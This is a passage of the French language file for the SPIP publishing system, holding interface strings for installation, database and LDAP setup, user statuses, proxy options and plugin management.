'info_chemin_acces_1' => 'Options : <b>Chemin d’accès dans l’annuaire</b>',
'info_chemin_acces_2' => 'Vous devez désormais configurer le chemin d’accès aux informations dans l’annuaire. Cette information est indispensable pour lire les profils utilisateurs stockés dans l’annuaire.',
'info_chemin_acces_annuaire' => 'Options : <b>Chemin d’accès dans l’annuaire</b>',
'info_choix_base' => 'Troisième étape :',
'info_classement_1' => '<sup>er</sup> sur @liste@',
'info_classement_2' => '<sup>e</sup> sur @liste@',
'info_code_acces' => 'N’oubliez pas vos propres codes d’accès !',
'info_compatibilite_html' => 'Norme HTML à suivre',
'info_compresseur_gzip' => 'Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@',
'info_compresseur_texte' => 'Si votre serveur ne comprime pas automatiquement les pages html pour les envoyer aux internautes, vous pouvez essayer de forcer cette compression pour diminuer le poids des pages téléchargées. <b>Attention</b> : cela peut ralentir considérablement certains serveurs.',
'info_config_suivi' => 'Si cette adresse correspond à une mailing-list, vous pouvez indiquer ci-dessous l’adresse à laquelle les participants au site peuvent s’inscrire. Cette adresse peut être une URL (par exemple la page d’inscription à la liste par le Web), ou une adresse email dotée d’un sujet spécifique (par exemple : <tt>@adresse_suivi@?subject=subscribe</tt>) :',
'info_config_suivi_explication' => 'Vous pouvez vous abonner à la mailing-list de ce site. Vous recevrez alors par courrier électronique les annonces d’articles et de brèves proposés à la publication.',
'info_confirmer_passe' => 'Confirmer ce nouveau mot de passe :',
'info_conflit_edition_avis_non_sauvegarde' => 'Attention, les champs suivants ont été modifiés par ailleurs. Vos modifications sur ces champs n’ont donc pas été enregistrées.',
'info_conflit_edition_differences' => 'Différences :',
'info_conflit_edition_version_enregistree' => 'La version enregistrée :',
'info_conflit_edition_votre_version' => 'Votre version :',
'info_connexion_base' => 'Essai de connexion à la base',
'info_connexion_base_donnee' => 'Connexion à votre base de données',
'info_connexion_ldap_ok' => '<b>La connexion LDAP a réussi.</b><p> Vous pouvez passer à l’étape suivante.</p>',
'info_connexion_mysql' => 'Votre connexion SQL',
'info_connexion_ok' => 'La connexion a réussi.',
'info_contact' => 'Contact',
'info_contenu_articles' => 'Contenu des articles',
'info_contributions' => 'Contributions',
'info_creation_paragraphe' => 'Pour créer des paragraphes, laissez simplement des lignes vides.',
'info_creation_rubrique' => 'Avant de pouvoir écrire des articles,<br /> vous devez créer au moins une rubrique.<br />',
'info_creation_tables' => 'Création des tables de la base',
'info_creer_base' => '<b>Créer</b> une nouvelle base de données :',
'info_dans_rubrique' => 'Dans la rubrique :',
'info_date_publication_anterieure' => 'Date de rédaction antérieure :',
'info_date_referencement' => 'DATE DE RÉFÉRENCEMENT DE CE SITE :',
'info_derniere_etape' => 'C’est terminé !',
'info_derniers_articles_publies' => 'Vos derniers articles publiés en ligne',
'info_desactiver_messagerie_personnelle' => 'Vous pouvez activer ou désactiver votre messagerie personnelle sur ce site.',
'info_descriptif' => 'Descriptif :',
'info_desinstaller_plugin' => 'supprime les données et désactive le plugin',
'info_discussion_cours' => 'Discussions en cours',
'info_ecrire_article' => 'Avant de pouvoir écrire des articles, vous devez créer au moins une rubrique.',
'info_email_envoi' => 'Adresse email d’envoi (optionnel)',
'info_email_envoi_txt' => 'Indiquez ici l’adresse à utiliser pour envoyer les emails (à défaut, l’adresse destinataire sera utilisée comme adresse d’envoi) :',
'info_email_webmestre' => 'Adresse email du webmestre',
'info_entrer_code_alphabet' => 'Entrez le code de l’alphabet à utiliser :',
'info_envoi_email_automatique' => 'Envoi de mails automatique',
'info_envoyer_maintenant' => 'Envoyer maintenant',
'info_etape_suivante' => 'Passer à l’étape suivante',
'info_etape_suivante_1' => 'Vous pouvez passer à l’étape suivante.',
'info_etape_suivante_2' => 'Vous pouvez passer à l’étape suivante.',
'info_exceptions_proxy' => 'Exceptions pour le proxy',
'info_exportation_base' => 'exportation de la base vers @archive@',
'info_facilite_suivi_activite' => 'Afin de faciliter le suivi de l’activité
éditoriale du site, SPIP peut faire parvenir par mail, par exemple
à une mailing-list des rédacteurs, l’annonce des demandes de
publication et des validations d’articles.',
'info_fichiers_authent' => 'Fichiers d’authentification « .htpasswd »',
'info_forums_abo_invites' => 'Votre site comporte des forums sur abonnement ; les visiteurs sont donc invités à s’enregistrer sur le site public.',
'info_gauche_admin_effacer' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui exige d’avoir un accès FTP au site Web.</p>',
'info_gauche_admin_tech' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes
fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui
exige d’avoir un accès FTP au site Web.</p>',
'info_gauche_admin_vider' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes
fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui
exige d’avoir un accès FTP au site Web.</p>',
'info_gauche_auteurs' => 'Vous trouverez ici tous les auteurs du site.
Leur statut est indiqué par la couleur de leur icone (administrateur = vert ; rédacteur = jaune).',
'info_gauche_auteurs_exterieurs' => 'Les auteurs extérieurs, sans accès au site, sont indiqués par une icone bleue ;
les auteurs effacés par une icone grise.',
'info_gauche_messagerie' => 'La messagerie vous permet d’échanger des messages entre rédacteurs, de conserver des pense-bêtes (pour votre usage personnel) ou d’afficher des annonces sur la page d’accueil de l’espace privé (si vous êtes administrateur).',
'info_gauche_numero_auteur' => 'AUTEUR NUMÉRO',
'info_gauche_statistiques_referers' => 'Cette page présente la liste des <i>referers</i>, c’est-à-dire des sites contenant des liens menant vers votre propre site, uniquement pour hier et aujourd’hui ; cette liste est remise à zéro toutes les 24 heures.',
'info_gauche_visiteurs_enregistres' => 'Vous trouverez ici les visiteurs enregistrés
dans l’espace public du site (forums sur abonnement).',
'info_generation_miniatures_images' => 'Génération de miniatures des images',
'info_gerer_trad' => 'Gérer les liens de traduction ?',
'info_gerer_trad_objets' => '@objets@ : gérer les liens de traduction',
'info_hebergeur_desactiver_envoi_email' => 'Certains hébergeurs désactivent l’envoi automatique de
mails depuis leurs serveurs. Dans ce cas, les fonctionnalités suivantes
de SPIP ne fonctionneront pas.',
'info_hier' => 'hier :',
'info_historique_activer' => 'Activer le suivi des révisions',
'info_historique_affiche' => 'Afficher cette version',
'info_historique_comparaison' => 'comparaison',
'info_historique_desactiver' => 'Désactiver le suivi des révisions',
'info_historique_texte' => 'Le suivi des révisions permet de conserver un historique de toutes les modifications apportées au contenu d’un article, et d’afficher les différences entre les versions successives.',
'info_identification_publique' => 'Votre identité publique...',
'info_image_process' => 'Veuillez sélectionner la meilleure méthode de fabrication des vignettes en cliquant sur l’image correspondante.',
'info_image_process2' => 'Si aucune image n’apparaît, alors le serveur qui héberge votre site n’a pas été configuré pour utiliser de tels outils. Si vous souhaitez utiliser ces fonctions, contactez le responsable technique et demandez les extensions « GD » ou « Imagick ».',
'info_images_auto' => 'Images calculées automatiquement',
'info_informations_personnelles' => 'Informations personnelles',
'info_inscription' => 'Inscription le',
'info_inscription_automatique' => 'Inscription automatique de nouveaux rédacteurs',
'info_jeu_caractere' => 'Jeu de caractères du site',
'info_jours' => 'jours',
'info_laisser_champs_vides' => 'laisser ces champs vides)',
'info_langues' => 'Langues du site',
'info_ldap_ok' => 'L’authentification LDAP est installée.',
'info_lien_hypertexte' => 'Lien hypertexte :',
'info_liste_nouveautes_envoyee' => 'La liste des nouveautés a été envoyée',
'info_liste_redacteurs_connectes' => 'Liste des rédacteurs connectés',
'info_login_existant' => 'Ce login existe déjà.',
'info_login_trop_court' => 'Login trop court.',
'info_login_trop_court_car_pluriel' => 'Le login doit contenir au moins @nb@ caractères.',
'info_logos' => 'Les logos',
'info_maximum' => 'maximum :',
'info_meme_rubrique' => 'Dans la même rubrique',
'info_message' => 'Message du',
'info_message_efface' => 'MESSAGE EFFACÉ',
'info_message_en_redaction' => 'Vos messages en cours de rédaction',
'info_message_technique' => 'Message technique :',
'info_messagerie_interne' => 'Messagerie interne',
'info_mise_a_niveau_base' => 'mise à niveau de votre base SQL',
'info_mise_a_niveau_base_2' => '{{Attention !}} Vous avez installé une version
des fichiers SPIP {antérieure} à celle qui se trouvait
auparavant sur ce site : votre base de données risque d’être
perdue et votre site ne fonctionnera plus.<br />{{Réinstallez les
fichiers de SPIP.}}',
'info_modification_enregistree' => 'Votre modification a été enregistrée',
'info_modifier_auteur' => 'Modifier l’auteur :',
'info_modifier_rubrique' => 'Modifier la rubrique :',
'info_modifier_titre' => 'Modifier : @titre@',
'info_mon_site_spip' => 'Mon site SPIP',
'info_mot_sans_groupe' => '(Mots sans groupe...)',
'info_moteur_recherche' => 'Moteur de recherche intégré',
'info_moyenne' => 'moyenne :',
'info_multi_articles' => 'Activer le menu de langue sur les articles ?',
'info_multi_cet_article' => 'Langue de cet article :',
'info_multi_langues_choisies' => 'Veuillez sélectionner ci-après les langues à disposition des rédacteurs de votre site.
Les langues déjà utilisées dans votre site (affichées en premier) ne peuvent pas être désactivées.',
'info_multi_objets' => '@objets@ : activer le menu de langue',
'info_multi_rubriques' => 'Activer le menu de langue sur les rubriques ?',
'info_multi_secteurs' => '... seulement pour les rubriques situées à la racine ?',
'info_nb_articles' => '@nb@ articles',
'info_nb_articles_syndiques' => '@nb@ articles syndiqués',
'info_nb_auteurs' => '@nb@ auteurs',
'info_nb_messages' => '@nb@ messages',
'info_nb_mots_cles' => '@nb@ mots-clés',
'info_nb_rubriques' => '@nb@ rubriques',
'info_nb_sites' => '@nb@ sites',
'info_nb_visiteurs' => '@nb@ visiteurs',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom du destinataire',
'info_nom_pas_conforme' => 'les tags html ne sont pas autorisés',
'info_nom_site' => 'Nom de votre site',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS À LA DISCUSSION :',
'info_nombre_rubriques' => '@nb_rubriques@ rubriques,',
'info_nombre_sites' => '@nb_sites@ sites,',
'info_non_deplacer' => 'Ne pas déplacer...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP peut envoyer, régulièrement, l’annonce des dernières nouveautés du site
(articles et brèves récemment publiés).',
'info_non_envoi_liste_nouveautes' => 'Ne pas envoyer la liste des nouveautés',
'info_non_modifiable' => 'ne peut pas être modifié',
'info_non_suppression_mot_cle' => 'je ne veux pas supprimer ce mot-clé.',
'info_note_numero' => 'Note @numero@',
'info_notes' => 'Notes',
'info_nouveaux_message' => 'Nouveaux messages',
'info_nouvel_article' => 'Nouvel article',
'info_nouvelle_traduction' => 'Nouvelle traduction :',
'info_numero_article' => 'ARTICLE NUMÉRO :',
'info_obligatoire_02' => ' (obligatoire)',
'info_option_accepter_visiteurs' => 'Accepter l’inscription de visiteurs du site public',
'info_option_faire_suivre' => 'Faire suivre les messages des forums aux auteurs des articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refuser l’inscription des visiteurs',
'info_options_avancees' => 'OPTIONS AVANCÉES',
'info_ortho_activer' => 'Activer le vérificateur d’orthographe',
'info_ortho_desactiver' => 'Désactiver le vérificateur d’orthographe',
'info_ou' => 'ou...',
'info_page_interdite' => 'Page interdite',
'info_par_nom' => 'par nom',
'info_par_nombre_article' => 'par nombre d’articles',
'info_par_statut' => 'par statut',
'info_par_tri' => '’(par @tri@)’',
'info_passe_trop_court' => 'Mot de passe trop court.',
'info_passe_trop_court_car_pluriel' => 'Le mot de passe doit contenir au moins @nb@ caractères.',
'info_passes_identiques' => 'Les deux mots de passe ne sont pas identiques.',
'info_pense_bete_ancien' => 'Vos anciens pense-bêtes',
'info_plus_cinq_car' => 'plus de 5 caractères',
'info_plus_cinq_car_2' => '(Plus de 5 caractères)',
'info_plus_trois_car' => '(Plus de 3 caractères)',
'info_popularite' => 'popularité : @popularite@ ; visites : @visites@',
'info_popularite_4' => 'popularité : @popularite@ ; visites : @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum :',
'info_pour' => 'pour',
'info_preview_admin' => 'Seuls les administrateurs peuvent prévisualiser le site',
'info_preview_comite' => 'Tous les rédacteurs peuvent prévisualiser le site',
'info_preview_desactive' => 'La prévisualisation est totalement désactivée',
'info_preview_texte' => 'Il est possible de prévisualiser le site comme si tous les articles et les brèves (ayant au moins le statut « proposé ») étaient publiés. Cette possibilité doit-elle être ouverte aux administrateurs seulement, à tous les rédacteurs, ou à personne ?',
'info_principaux_correspondants' => 'Vos principaux correspondants',
'info_procedez_par_etape' => 'procédez étape par étape',
'info_procedure_maj_version' => 'la procédure de mise à jour doit être lancée afin d’adapter
la base de données à la nouvelle version de SPIP.',
'info_proxy_ok' => 'Test du proxy réussi.',
'info_ps' => 'P.-S.',
'info_publier' => 'publier',
'info_publies' => 'Vos articles publiés en ligne',
'info_question_accepter_visiteurs' => 'Si les squelettes de votre site prévoient l’enregistrement de visiteurs sans accès à l’espace privé, veuillez activer l’option ci-dessous :',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptez-vous les inscriptions de nouveaux rédacteurs à
partir du site public ? Si vous acceptez, les visiteurs pourront s’inscrire
depuis un formulaire automatisé et accéderont alors à l’espace privé pour
proposer leurs propres articles. <div class="notice">Lors de la phase d’inscription,
les utilisateurs reçoivent un courrier électronique automatique
leur fournissant leurs codes d’accès au site privé. Certains
hébergeurs désactivent l’envoi de mails depuis leurs
serveurs : dans ce cas, l’inscription automatique est
impossible.</div>',
'info_question_utilisation_moteur_recherche' => 'Souhaitez-vous utiliser le moteur de recherche intégré à SPIP ?
(le désactiver accélère le fonctionnement du système.)',
'info_question_vignettes_referer_non' => 'Ne pas afficher les captures des sites d’origine des visites',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes',
'info_racine_site' => 'Racine du site',
'info_recharger_page' => 'Veuillez recharger cette page dans quelques instants.',
'info_recherche_auteur_a_affiner' => 'Trop de résultats pour "@cherche_auteur@" ; veuillez affiner la recherche.',
'info_recherche_auteur_ok' => 'Plusieurs rédacteurs trouvés pour "@cherche_auteur@" :',
'info_recherche_auteur_zero' => 'Aucun résultat pour « @cherche_auteur@ ».',
'info_recommencer' => 'Veuillez recommencer.',
'info_redacteur_1' => 'Rédacteur',
'info_redacteur_2' => 'ayant accès à l’espace privé (<i>recommandé</i>)',
'info_redacteurs' => 'Rédacteurs',
'info_redaction_en_cours' => 'EN COURS DE RÉDACTION',
'info_redirection' => 'Redirection',
'info_redirection_activee' => 'La redirection est activée.',
'info_redirection_boucle' => 'Vous essayez de rediriger l\'article sur lui-même.',
'info_redirection_desactivee' => 'La redirection a été supprimée.',
'info_refuses' => 'Vos articles refusés',
'info_reglage_ldap' => 'Options : <b>Réglage de l’importation LDAP</b>',
'info_renvoi_article' => '<b>Redirection.</b> Cet article renvoie à la page :',
'info_reserve_admin' => 'Seuls les administrateurs peuvent modifier cette adresse.',
'info_restreindre_rubrique' => 'Restreindre la gestion à la rubrique :',
'info_resultat_recherche' => 'Résultats de la recherche :',
'info_rubriques' => 'Rubriques',
'info_rubriques_02' => 'rubriques',
'info_rubriques_trouvees' => 'Rubriques trouvées',
'info_rubriques_trouvees_dans_texte' => 'Rubriques trouvées (dans le texte)',
'info_sans_titre' => 'Sans titre',
'info_selection_chemin_acces' => '<b>Sélectionnez</b> ci-après le chemin d’accès dans l’annuaire :',
'info_signatures' => 'signatures',
'info_site' => 'Site',
'info_site_2' => 'site :',
'info_site_min' => 'site',
'info_site_reference_2' => 'Site référencé',
'info_site_web' => 'Site Web :',
'info_sites' => 'sites',
'info_sites_lies_mot' => 'Les sites référencés liés à ce mot-clé',
'info_sites_proxy' => 'Utiliser un proxy',
'info_sites_trouves' => 'Sites trouvés',
'info_sites_trouves_dans_texte' => 'Sites trouvés (dans le texte)',
'info_sous_titre' => 'Soustitre :',
'info_statut_administrateur' => 'Administrateur',
'info_statut_auteur' => 'Statut de cet auteur :',
'info_statut_auteur_2' => 'Je suis',
'info_statut_auteur_a_confirmer' => 'Inscription à confirmer',
'info_statut_auteur_autre' => 'Autre statut :',
'info_statut_efface' => 'Effacé',
'info_statut_redacteur' => 'Rédacteur',
'info_statut_utilisateurs_1' => 'Statut par défaut des utilisateurs importés',
'info_statut_utilisateurs_2' => 'Choisissez le statut qui est attribué aux personnes présentes dans l’annuaire LDAP lorsqu’elles se connectent pour la première fois. Vous pourrez par la suite modifier cette valeur pour chaque auteur au cas par cas.',
'info_suivi_activite' => 'Suivi de l’activité éditoriale',
'info_surtitre' => 'Surtitre :',
'info_syndication_integrale_1' => 'Votre site propose des fichiers de syndication (voir « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Souhaitez-vous transmettre les articles dans leur intégralité, ou ne diffuser qu’un résumé de quelques centaines de caractères ?',
'info_table_prefix' => 'Vous pouvez modifier le préfixe du nom des tables de données (ceci est indispensable lorsque l’on souhaite installer plusieurs sites dans la même base de données). Ce préfixe s’écrit en lettres minuscules, non accentuées, et sans espace.',
'info_taille_maximale_images' => 'SPIP va tester la taille maximale des images qu’il peut traiter (en millions de pixels).<br /> Les images plus grandes ne seront pas réduites.',
'info_taille_maximale_vignette' => 'Taille maximale des vignettes générées par le système :',
'info_terminer_installation' => 'Vous pouvez maintenant terminer la procédure d’installation standard.',
'info_texte' => 'Texte',
'info_texte_explicatif' => 'Texte explicatif',
'info_texte_long' => '(le texte est long : il apparaît donc en plusieurs parties qui seront recollées après validation.)',
'info_texte_message' => 'Texte de votre message',
'info_texte_message_02' => 'Texte du message',
'info_titre' => 'Titre :',
'info_total' => 'total :',
'info_tous_articles_en_redaction' => 'Tous les articles en cours de rédaction',
'info_tous_articles_presents' => 'Tous les articles publiés dans cette rubrique',
'info_tous_articles_refuses' => 'Tous les articles refusés',
'info_tous_les' => 'tous les :',
'info_tous_redacteurs' => 'Annonces à tous les rédacteurs',
'info_tout_site' => 'Tout le site',
'info_tout_site2' => 'L’article n’a pas été traduit dans cette langue.',
'info_tout_site3' => 'L’article a été traduit dans cette langue, mais des modifications ont été apportées par la suite à l’article de référence. La traduction doit être mise à jour.',
'info_tout_site4' => 'L’article a été traduit dans cette langue, et la traduction est à jour.',
'info_tout_site5' => 'Article original.',
'info_tout_site6' => '<b>Attention :</b> seuls les articles originaux sont affichés.
Les traductions sont associées à l’original,
dans une couleur qui indique leur état :',
'info_traductions' => 'Traductions',
'info_travail_colaboratif' => 'Travail collaboratif sur les articles',
'info_un_article' => 'un article,',
'info_un_site' => 'un site,',
'info_une_rubrique' => 'une rubrique,',
'info_une_rubrique_02' => '1 rubrique',
'info_url' => 'URL :',
'info_url_proxy' => 'URL du proxy',
'info_url_site' => 'URL DU SITE :',
'info_url_site_pas_conforme' => 'l’URL du site n’est pas valide.',
'info_url_test_proxy' => 'URL de test',
'info_urlref' => 'Lien hypertexte :',
'info_utilisation_spip' => 'Vous pouvez maintenant commencer à utiliser le système de publication assistée...',
'info_visites_par_mois' => 'Affichage par mois :',
'info_visiteur_1' => 'Visiteur',
'info_visiteur_2' => 'du site public',
'info_visiteurs' => 'Visiteurs',
'info_visiteurs_02' => 'Visiteurs du site public',
'info_webmestre_forces' => 'Les webmestres sont actuellement définis dans <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adresse de la base de données attribuée par l’hébergeur',
'install_base_ok' => 'La base @base@ a été reconnue',
'install_connect_ok' => 'La nouvelle base a bien été déclarée sous le nom de serveur @connect@.',
'install_echec_annonce' => 'L’installation va probablement échouer, ou aboutir à un site non fonctionnel...',
'install_extension_mbstring' => 'SPIP ne fonctionne pas avec :',
'install_extension_php_obligatoire' => 'SPIP exige l’extension php :',
'install_login_base_hebergeur' => 'Login de connexion attribué par l’hébergeur',
'install_nom_base_hebergeur' => 'Nom de la base attribué par l’hébergeur :',
'install_pas_table' => 'Base actuellement sans tables',
'install_pass_base_hebergeur' => 'Mot de passe de connexion attribué par l’hébergeur',
'install_php_version' => 'PHP version @version@ insuffisant (minimum = @minimum@)',
'install_select_langue' => 'Sélectionnez une langue puis cliquez sur le bouton « suivant » pour lancer la procédure d’installation.',
'install_select_type_db' => 'Indiquer le type de base de données :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Serveur de base de données attribué par l’hébergeur',
'install_table_prefix_hebergeur' => 'Préfixe de table attribué par l’hébergeur :',
'install_tables_base' => 'Tables de la base',
'install_types_db_connus' => 'SPIP sait utiliser <b>MySQL</b> (le plus répandu) et <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'Le support de <b>PostgreSQL</b> est également proposé à titre experimental',
'instituer_erreur_statut_a_change' => 'Le statut a déjà été modifié',
'instituer_erreur_statut_non_autorise' => 'Vous ne pouvez pas choisir ce statut',
'intem_redacteur' => 'rédacteur',
'intitule_licence' => 'Licence',
'item_accepter_inscriptions' => 'Accepter les inscriptions',
'item_activer_messages_avertissement' => 'Activer les messages d’avertissement',
'item_administrateur_2' => 'administrateur',
'item_afficher_calendrier' => 'Afficher dans le calendrier',
'item_autoriser_documents_joints' => 'Autoriser les documents joints aux articles',
'item_autoriser_documents_joints_rubriques' => 'Autoriser les documents dans les rubriques',
'item_autoriser_syndication_integrale' => 'Diffuser l’intégralité des articles dans les fichiers de syndication',
'item_choix_administrateurs' => 'les administrateurs',
'item_choix_generation_miniature' => 'Générer automatiquement les miniatures des images.',
'item_choix_non_generation_miniature' => 'Ne pas générer de miniatures des images.',
'item_choix_redacteurs' => 'les rédacteurs',
'item_choix_visiteurs' => 'les visiteurs du site public',
'item_creer_fichiers_authent' => 'Créer les fichiers .htpasswd',
'item_limiter_recherche' => 'Limiter la recherche aux informations contenues dans votre site',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activer la messagerie et l’agenda',
'item_mots_cles_association_articles' => 'aux articles',
'item_mots_cles_association_rubriques' => 'aux rubriques',
'item_mots_cles_association_sites' => 'aux sites référencés ou syndiqués.',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Ne pas accepter les inscriptions',
'item_non_activer_messages_avertissement' => 'Pas de messages d’avertissement',
'item_non_afficher_calendrier' => 'Ne pas afficher dans le calendrier',
'item_non_autoriser_documents_joints' => 'Ne pas autoriser les documents dans les articles',
'item_non_autoriser_documents_joints_rubriques' => 'Ne pas autoriser les documents dans les rubriques',
'item_non_autoriser_syndication_integrale' => 'Ne diffuser qu’un résumé',
'item_non_compresseur' => 'Désactiver la compression',
'item_non_creer_fichiers_authent' => 'Ne pas créer ces fichiers',
'item_non_gerer_statistiques' => 'Ne pas gérer les statistiques',
'item_non_limiter_recherche' => 'Étendre la recherche au contenu des sites référencés',
'item_non_messagerie_agenda' => 'Désactiver la messagerie et l’agenda',
'item_non_publier_articles' => 'Ne pas publier les articles avant la date de publication fixée.',
'item_non_utiliser_moteur_recherche' => 'Ne pas utiliser le moteur',
'item_nouvel_auteur' => 'Nouvel auteur',
'item_nouvelle_rubrique' => 'Nouvelle rubrique',
'item_oui' => 'Oui',
'item_publier_articles' => 'Publier les articles, quelle que soit leur date de publication.',
'item_reponse_article' => 'Réponse à l’article',
'item_utiliser_moteur_recherche' => 'Utiliser le moteur de recherche',
'item_version_html_max_html4' => 'Se limiter au HTML4 sur le site public',
'item_version_html_max_html5' => 'Permettre le HTML5',
'item_visiteur' => 'visiteur',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barre d’outils',
'label_bando_outils_afficher' => 'Afficher les outils',
'label_bando_outils_masquer' => 'Masquer les outils',
'label_choix_langue' => 'Selectionnez votre langue',
'label_nom_fichier_connect' => 'Indiquez le nom utilisé pour ce serveur',
'label_slogan_site' => 'Slogan du site',
'label_taille_ecran' => 'Largeur de l’ecran',
'label_texte_et_icones_navigation' => 'Menu de navigation',
'label_texte_et_icones_page' => 'Affichage dans la page',
'ldap_correspondance' => 'héritage du champ @champ@',
'ldap_correspondance_1' => 'Héritage des champs LDAP',
'ldap_correspondance_2' => 'Pour chacun des champs SPIP suivants, indiquer le nom du champ LDAP correspondant. Laisser vide pour ne pas le remplir, séparer par des espaces ou des virgules pour essayer plusieurs champs LDAP.',
'lien_ajout_destinataire' => 'Ajouter ce destinataire',
'lien_ajouter_auteur' => 'Ajouter cet auteur',
'lien_ajouter_participant' => 'Ajouter un participant',
'lien_ajouter_une_rubrique' => 'Ajouter cette rubrique',
'lien_email' => 'email',
'lien_nom_site' => 'NOM DU SITE :',
'lien_retirer_auteur' => 'Retirer l’auteur',
'lien_retirer_rubrique' => 'Retirer la rubrique',
'lien_retirer_tous_auteurs' => 'Retirer tous les auteurs',
'lien_retirer_toutes_rubriques' => 'Retirer toutes les rubriques',
'lien_retrait_particpant' => 'retirer ce participant',
'lien_site' => 'site',
'lien_supprimer_rubrique' => 'supprimer cette rubrique',
'lien_tout_deplier' => 'Tout déplier',
'lien_tout_replier' => 'Tout replier',
'lien_tout_supprimer' => 'Tout supprimer',
'lien_tout_decocher' => 'Tout décocher',
'lien_trier_nom' => 'Trier par nom',
'lien_trier_nombre_articles' => 'Trier par nombre d’articles',
'lien_trier_statut' => 'Trier par statut',
'lien_voir_en_ligne' => 'VOIR EN LIGNE :',
'logo_article' => 'Logo de l’article',
'logo_auteur' => 'Logo de l’auteur',
'logo_rubrique' => 'Logo de la rubrique',
'logo_site' => 'Logo de ce site',
'logo_standard_rubrique' => 'Logo standard des rubriques',
'logo_survol' => 'Logo pour survol',
// M
'menu_aide_installation_choix_base' => 'Choix de votre base',
'module_fichier_langue' => 'Fichier de langue',
'module_raccourci' => 'Raccourci',
'module_texte_affiche' => 'Texte affiché',
'module_texte_explicatif' => 'Vous pouvez insérer les raccourcis suivants dans les squelettes de votre site public. Ils seront automatiquement traduits dans les différentes langues pour lesquelles il existe un fichier de langue.',
'module_texte_traduction' => 'Le fichier de langue « @module@ » est disponible en :',
'mois_non_connu' => 'non connu',
// N
'nouvelle_version_spip' => 'La version @version@ de SPIP est disponible',
'nouvelle_version_spip_majeure' => 'Une nouvelle version majeure @version@ est disponible',
// O
'onglet_contenu' => 'Contenu',
'onglet_declarer_une_autre_base' => 'Déclarer une autre base',
'onglet_discuter' => 'Discuter',
'onglet_documents' => 'Documents',
'onglet_interactivite' => 'Interactivité',
'onglet_proprietes' => 'Propriétés',
'onglet_repartition_actuelle' => 'actuellement',
'onglet_sous_rubriques' => 'Sous-rubriques',
// P
'page_pas_proxy' => 'Cette page ne doit pas passer par le proxy',
'pas_de_proxy_pour' => 'Au besoin, indiquez les machines ou domaines pour lesquels ce proxy ne doit pas s’appliquer (par exemple : @exemple@)',
'plugin_charge_paquet' => 'Chargement du paquet @name@',
'plugin_charger' => 'Télécharger',
'plugin_erreur_charger' => 'erreur : impossible de charger @zip@',
'plugin_erreur_droit1' => 'Le répertoire <code>@dest@</code> n’est pas accessible en écriture.',
'plugin_erreur_droit2' => 'Veuillez vérifier les droits sur ce répertoire (et le créer le cas échéant), ou installer les fichiers par FTP.',
'plugin_erreur_zip' => 'échec pclzip : erreur @status@',
'plugin_etat_developpement' => 'en développement',
'plugin_etat_experimental' => 'expérimental',
'plugin_etat_stable' => 'stable',
'plugin_etat_test' => 'en test',
'plugin_impossible_activer' => 'Impossible d’activer le plugin @plugin@',
'plugin_info_automatique1' => 'Si vous souhaitez autoriser l’installation automatique des plugins, veuillez :',
'plugin_info_automatique1_lib' => 'Si vous souhaitez autoriser l’installation automatique de cette librairie, veuillez :',
'plugin_info_automatique2' => 'créer un répertoire <code>@rep@</code> ;',
'plugin_info_automatique3' => 'vérifier que le serveur est autorisé à écrire dans ce répertoire.',
'plugin_info_automatique_creer' => 'à créer à la racine du site.',
'plugin_info_automatique_exemples' => 'exemples :',
'plugin_info_automatique_ftp' => 'Vous pouvez installer des plugins, par FTP, dans le répertoire <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Certains plugins demandent aussi à pouvoir télécharger des fichiers dans le répertoire <code>lib/</code>, à créer le cas échéant à la racine du site.',
'plugin_info_automatique_liste' => 'Vos listes de plugins :',
'plugin_info_automatique_liste_officielle' => 'les plugins officiels',
'plugin_info_automatique_liste_update' => 'Mettre à jour les listes',
'plugin_info_automatique_ou' => 'ou...',
'plugin_info_automatique_select' => 'Sélectionnez ci-dessous un plugin : SPIP le téléchargera et l’installera dans le répertoire <code>@rep@</code> ; si ce plugin existe déjà, il sera mis à jour.',
'plugin_info_credit' => 'Crédits',
'plugin_info_erreur_xml' => 'La déclaration de ce plugin est incorrecte',
'plugin_info_install_ok' => 'Installation réussie',
'plugin_info_necessite' => 'Nécessite :',
'plugin_info_non_compatible_spip' => 'Ce plugin n’est pas compatible avec cette version de SPIP',
'plugin_info_plugins_dist_1' => 'Les plugins ci-dessous sont chargés et activés dans le répertoire @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Ils ne sont pas désactivables.',
'plugin_info_telecharger' => 'à télécharger depuis @url@ et à installer dans @rep@',
'plugin_info_upgrade_ok' => 'Mise à jour réussie',
'plugin_librairies_installees' => 'Librairies installées',
'plugin_necessite_lib' => 'Ce plugin nécessite la librairie @lib@',
'plugin_necessite_plugin' => 'Nécessite le plugin @plugin@ en version @version@ minimum.',
'plugin_necessite_plugin_sans_version' => 'Nécessite le plugin @plugin@',
'plugin_necessite_spip' => 'Nécessite SPIP en version @version@ minimum.',
'plugin_source' => 'source : ',
